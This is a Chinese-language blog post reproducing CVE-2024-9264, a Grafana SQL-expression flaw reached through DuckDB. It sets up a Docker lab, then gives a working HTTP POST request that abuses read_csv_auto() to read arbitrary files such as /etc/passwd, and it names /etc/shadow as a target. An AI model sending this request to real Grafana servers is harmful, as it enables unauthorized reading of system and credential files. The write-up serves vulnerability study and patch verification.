【漏洞复现】CVE-2024-9264 - Grafana SQL 表达式远程代码执行漏洞

目录

DuckDB 介绍

漏洞描述

影响版本

环境搭建

漏洞复现


DuckDB 介绍

DuckDB 是一个轻量级、高性能的嵌入式 SQL 数据库

  • 无服务器架构:DuckDB 不需要独立的数据库服务器,它是嵌入式的,直接以二进制文件的形式集成到应用程序中,适合嵌入到各种数据处理工具和应用中。
  • 高效的分析功能:它优化了 SQL 查询的性能,尤其在大数据量分析、聚合和联接操作时表现优异,适合数据科学家和分析师使用。
  • 完全支持 SQL:支持标准 SQL 语法,用户可以方便地进行复杂的查询,提供类似于大数据系统的分析能力,但不需要大规模的基础设施。
  • 文件支持:支持直接操作 CSV、Parquet 等文件格式,便于从文件中加载数据进行分析。

漏洞描述

Grafana 允许用户输入 SQL 查询并使用 DuckDB 作为数据源,但在处理用户输入的 DuckDB 查询时,没有进行充分的输入验证或过滤,导致恶意用户能够注入恶意 SQL 代码。这些恶意查询可能导致命令注入或本地文件包含,从而引发远程代码执行攻击。

前提条件

  • 攻击者需要至少是 Viewer 权限。
  • DuckDB 二进制文件必须存在于 Grafana 的 $PATH 中,才能触发攻击。

        默认情况下,DuckDB 二进制文件并不包含在 Grafana 的发行版中,因此如果该二进制文件未安装,漏洞无法触发。

影响版本

Grafana 11.0.x、11.1.x和11.2.x版本

环境搭建

我们使用 Grafana 11.0.0 构建环境,安装 duckdb 二进制文件并将其添加到 Grafana 的 $PATH 中。

首先

mkdir grafana && cd grafana && touch grafana.ini

然后下载 duckdb_cli-linux-amd64.zip,与 Dockerfile、docker-compose.yml 放置在同一目录如 grafana 目录下。

Dockerfile

FROM grafana/grafana:11.0.0-ubuntu

USER root

# Install DuckDB
COPY duckdb_cli-linux-amd64.zip /tmp/

RUN apt-get update && apt-get install -y && apt-get install unzip -y
    && unzip /tmp/duckdb_cli-linux-amd64.zip -d /usr/local/bin/ \
    && chmod +x /usr/local/bin/duckdb \
    && rm /tmp/duckdb_cli-linux-amd64.zip

# Add DuckDB to the PATH
ENV PATH="/usr/local/bin:${PATH}"

docker-compose.yml

services:
  mysql:
    image: mysql:latest
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=rootpassword
      - MYSQL_DATABASE=grafanadb
      - MYSQL_USER=grafana
      - MYSQL_PASSWORD=grafanapassword
    volumes:
      - ./mysql-data:/var/lib/mysql
    ports:
      - "3306:3306"
    healthcheck:
      test: ["CMD", "mysqladmin", "ping", "-h", "localhost"]
      interval: 10s
      timeout: 5s
      retries: 3
  
  grafana:
    build: .
    ports:
      - "3000:3000"
    environment:
      - GF_SECURITY_ADMIN_PASSWORD=AwesomePoc123!
      - GF_DATABASE_TYPE=mysql
      - GF_DATABASE_HOST=mysql:3306
      - GF_DATABASE_USER=grafana
      - GF_DATABASE_PASSWORD=grafanapassword
      - GF_DATABASE_NAME=grafanadb
    volumes:
      - grafana-storage:/var/lib/grafana
      - ./grafana.ini:/etc/grafana/grafana.ini

    depends_on:
        mysql:
         condition: service_healthy  
volumes:
  grafana-storage:
  mysql-storage:

当前目录执行如下命令,启动一个 Grafana 11.0.0 环境:

docker build -t grafana:11.0.0 .
docker-compose up -d

环境启动后,访问 http://your-ip:3000 即可查看到管理后台。由于配置了密码,需要使用 admin/AwesomePoc123! 登录管理后台。

漏洞复现

发送如下 POST 请求,将数据源类型修改为 sql。利用 read_csv_auto() 从目标系统读取任意文件,例如,/etc/passwd 或 /etc/shadow:

POST /api/ds/query?ds_type=__expr__&expression=true&requestId=Q100 HTTP/1.1
Host: your-ip:3000
Content-Type: application/json
Cookie: grafana_session=b2223e9601516f39b4511345758a568f; grafana_session_expiry=1734579665
Content-Length: 366

{
  "from": "1696154400000",
  "to": "1696345200000",
  "queries": [
    {
      "datasource": {
        "name": "Expression",
        "type": "__expr__",
        "uid": "__expr__"
      },
      "expression": "SELECT * FROM read_csv_auto('/etc/passwd');",
      "hide": false,
      "refId": "B",
      "type": "sql",
      "window": ""
    }
  ]
}

参考:https://github.com/Threekiii/

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Ly4j

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值